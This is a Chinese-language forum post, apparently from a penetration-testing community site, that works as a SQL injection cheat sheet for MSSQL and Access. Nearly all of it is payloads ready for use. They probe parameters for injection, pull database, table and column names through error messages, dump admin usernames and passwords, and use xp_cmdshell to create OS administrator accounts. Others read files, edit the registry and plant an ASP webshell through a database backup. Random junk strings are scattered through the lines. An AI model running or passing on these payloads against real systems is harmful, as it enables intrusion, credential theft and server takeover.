中国网络渗透测试联盟

标题: SQL注入常用语句 [打印本页]

作者: admin    时间: 2012-9-15 14:31
标题: SQL注入常用语句
1.判断是否有注入   k* m8 ~% b) I, R& u3 S& Y- \/ p
;and 1=1 ' J) F/ Z+ Y% I8 z9 X- \$ e
;and 1=2
: w- |0 I" i4 Q6 o# E6 B# D& J2 z" P9 f" G5 `. d3 S
2.初步判断是否是mssql + A/ `; G, E6 w* g
;and user>0 ) \" `$ a6 S( N# I3 R0 X( u
( N/ e& k" X# C# a+ k4 k( J
3.判断数据库系统
1 y- a: m% [" L;and (select count(*) from sysobjects)>0 mssql   O; f$ W2 q, {( M: N1 P0 e3 `0 f# G
;and (select count(*) from msysobjects)>0 access
& u: L# |9 w4 N6 x; q* Q
7 E9 r# v. @, `9 e4.注入参数是字符
0 }* l6 ]; X% [# t- e/ ['and [查询条件] and ''=' ; a. _( X  u5 E3 N1 \
! K3 g  _# s1 Y# x4 r
5.搜索时没过滤参数的 6 Q$ X( w3 d9 ^* J- O4 A' e
'and [查询条件] and '%25'=' : u+ Q7 Q- h7 j& {

0 ]# x, [) y, c( M/ C; }* U5 D9 }6.猜数表名
0 a4 x# M* Y$ _% i6 x2 z;and (select Count(*) from [表名])>0
4 k* \4 M+ f" P" _7 A
; D3 C4 Q# [6 }* m+ V5 J7.猜字段
+ e6 K- [8 ?! Z! J4 ]8 U$ q& F' [;and (select Count(字段名) from 表名)>0 ( z9 P& A- M: x! u# N9 a
4 J% p) a" X  U4 W! b. A
8.猜字段中记录长度
8 A, t8 k5 B3 t% g4 [: f( }$ z;and (select top 1 len(字段名) from 表名)>0 3 t$ I& v% E- Z
7 B! O. K4 ~; v+ |- ]8 G
9.(1)猜字段的ascii值(access) & t; p& [8 c0 R: d+ P* z2 h6 Q
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
5 P9 |" w& [. K- U1 U! F# C# R: _) L) b. q8 O% {) n" m
(2)猜字段的ascii值(mssql) # i$ {  r/ z, Q  d6 a6 ~$ @
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 , }" G3 |# i8 S9 ~
, G* Q, q/ _% [4 b4 t* T* D
10.测试权限结构(mssql) , P. M: _1 b( ^6 T/ V
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
4 C* j* q1 y/ Y/ n5 L" Q;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
3 r# y0 |; ^+ v7 A;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
0 m" H: E( e. e9 c; X;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
* B& P- [$ p  ^2 F# D9 [5 L8 O;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
4 ?/ T# Y& {' D4 G;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
' N, U: z2 e, n* ?;and 1=(select IS_MEMBER('db_owner'));--
9 ?( p, [; J' k5 |$ A. L0 z6 o: a- E4 |- D
  \$ ]3 S3 F* ]' I* |2 z4 X11.添加mssql和系统的帐户 " v" i, Y8 _- d" V  O8 ~) P+ [  y
;exec master.dbo.sp_addlogin username;-- 0 M7 S- @* e0 C2 r
;exec master.dbo.sp_password null,username,password;-- & v5 _) i; Q% i. {
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
& L) G" \, y: N6 p- ^( h;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
) N; I5 \, G3 W7 ?2 V- B6 O;exec master.dbo.xp_cmdshell 'net user username password /add';--
; I5 I# t( J1 g+ J! u# |% x9 }2 d# G7 E;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ! C' D. H+ d8 ^. I7 G! l: M/ N
$ V6 k5 ?" T) G1 x
12.(1)遍历目录
! `  ]$ @7 @- [;create table dirs(paths varchar(100), id int) / d6 L, g" i% g: Y# x4 |
;insert dirs exec master.dbo.xp_dirtree 'c:\' / _- P" e/ M( X; v/ H# O
;and (select top 1 paths from dirs)>0 # @/ X# r4 S+ R7 H
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) , j7 G, F( t8 l% W& a
$ M& ^7 K0 `- |/ w
(2)遍历目录
  a! A, F! V, C9 q7 ^6 |;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3 k: J& A5 h0 z4 h8 W0 Y6 S
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4 K2 [% P! u7 `: }8 r
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 9 \5 V) K. @& K) W; f3 U
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
1 A: H+ u' e; Y3 x$ t- d;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容   x& g' X1 [7 l7 I
6 z3 }. O9 F8 Q
13.mssql中的存储过程
  F6 e; k8 |0 @7 qxp_regenumvalues 注册表根键, 子键 " H! t- Z' N( Q& y9 c2 {
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
: l$ y: i8 m( Y: Vxp_regread 根键,子键,键值名 + r& E$ B( F- b6 B
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ! `; ~! A$ g. l* f2 u9 t
xp_regwrite 根键,子键, 值名, 值类型, 值
8 E  m: E( U/ B- }6 s: C值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 1 c3 P+ O/ l+ a4 y* C- @6 L2 \! k
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 4 N" d" T; \) s' U) @9 u
xp_regdeletevalue 根键,子键,值名 0 {( V& }) ]. ]# R
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 " \* G' U" l' _6 b% K7 O3 z
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 3 O* o& [+ _: P

) N4 A% a- i) c' S2 U3 V) a0 |14.mssql的backup创建webshell
& ?* f; c% k6 B+ Euse model
3 b& |& A6 Y3 E6 B8 c& c4 W( _6 zcreate table cmd(str image); 2 r  U8 V& u2 p, a! i1 ]! W8 k
insert into cmd(str) values ('<% Dim oScript %>'); ; k* x% w4 L4 j7 ^
backup database model to disk='c:\l.asp';
, _3 S& y: A. S, A4 y& X. l
. P. _2 ~9 M1 C15.mssql内置函数 + h! [& c4 Y4 T2 \# y! v* o
;and (select @@version)>0 获得Windows的版本号
- T) \' {: Q/ n+ i2 f% x;and user_name()='dbo' 判断当前系统的连接用户是不是sa & I1 N2 _: z8 m* S4 Q/ p& Z/ n( _
;and (select user_name())>0 爆当前系统的连接用户
! c( b  m- a4 q: Y; r3 N3 o5 Z6 g* ~;and (select db_name())>0 得到当前连接的数据库 " c4 l- Z  I3 W% }  Q8 U- `+ {
1 ?2 y, Z. F% i' I" _# z/ Y

+ Y& [2 \2 p' `1 f) u/ C) u. o+ u3 A
+ C1 K  Y( X( D5 KMSSQL手注暴库
, i! u/ i1 i8 w; r0 `( R
6 v5 c. v& |- c" I$ t9 H  ]8 _2 Q/ m) H1.暴出当前表名和列名4 z$ U) m/ z; L& F- d
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
; t# t/ T7 M' \: }
$ M( J7 S) k  H& o$ S+ X第一.爆出所有数据库名% ]5 N+ o! o3 Y! o+ E; D
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
4 M' a6 s2 Q& {' m- ^( N$ w8 G第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
- y- ^" P3 M& ]" V. T3 B5 @/ n8 k6 L* L2 s0 I
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名7 `+ z- f- V2 w0 I2 U  _0 U9 c$ f" D8 ~/ H

2 O/ P8 g7 ^  g- k' g7 ~
" L7 y5 _: H' [# p, ~第二.爆出指定库中的所有表名. o( B# }* C4 S% O4 M9 `# \
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。7 H3 r# A9 r1 M9 u
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。/ u) D) q/ L. J8 |7 K  i

# s& n" Z1 @! c7 ]" F, b6 iand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--, ^  ~" E/ y3 S. z& \% _, F$ O
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--# M" V4 b) T2 x
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--& m! b2 p2 b5 B: C4 U. y) n
' @* O0 c$ U* ^* v: Z0 W8 A# D
4.爆出指定表中的所有列名- `# @+ p% Q2 m6 d. O
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 7 p* d8 X/ a! ~; x4 {; E
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
" M, k3 M3 a# L8 q7 _" j9 B2 n6 ^; a- y/ Y- Y" o1 O7 @$ m
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名3 h( Q, \4 Y1 G  E

0 n. Y$ T0 M5 Z0 F, }再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 0 ?& n, m: T& l1 t
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
. d/ D0 p6 Z7 \3 f2 E4 X; k
7 L; L/ U8 N. v
: [  w; V" R# D% B1 {and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值, X9 ~4 _# K/ N7 M# h! z& L
$ m% P: q9 V0 |( q
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
) O. J7 y0 l1 L" C4 }0 L* ?
+ `0 H" @: {" e% cand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
" e! L3 r0 C+ B, P/ w8 [5 V5 I" D/ I& M7 e$ [; v3 N& B, Q/ \% M
" d. g1 y. M! w4 K

( N7 s% p- q5 L. Y- w5.读取指定表中的数据& d! V; w6 p+ U4 t2 ]$ @4 D
% _% o9 l2 I9 O: X
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
+ o0 C1 Q' ^/ n6 h" D
- ~! h3 c' J7 @& qand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--/ f' n# N+ p: A: k
" s0 p; D/ y; y$ ^" n; W. A
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码3 l% g" L0 r+ E+ _% e1 n. v8 O1 P8 v
. T9 A' h5 `  R

' b7 u: q2 C4 b  Z$ ~  jand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao): M! m4 T" _& z2 N. u5 R& N" d

2 z5 g, [: V% B8 J3 O6 mand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)! i- X8 j  J4 c! e" c' R
0 e7 k' \" G* q: v* P6 m7 o
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--( ]! f: ^+ }) H+ w

4 c1 G! Z3 ]  T1 l7 Y* @知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
: J) a) @) K  p6 Q+ g




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2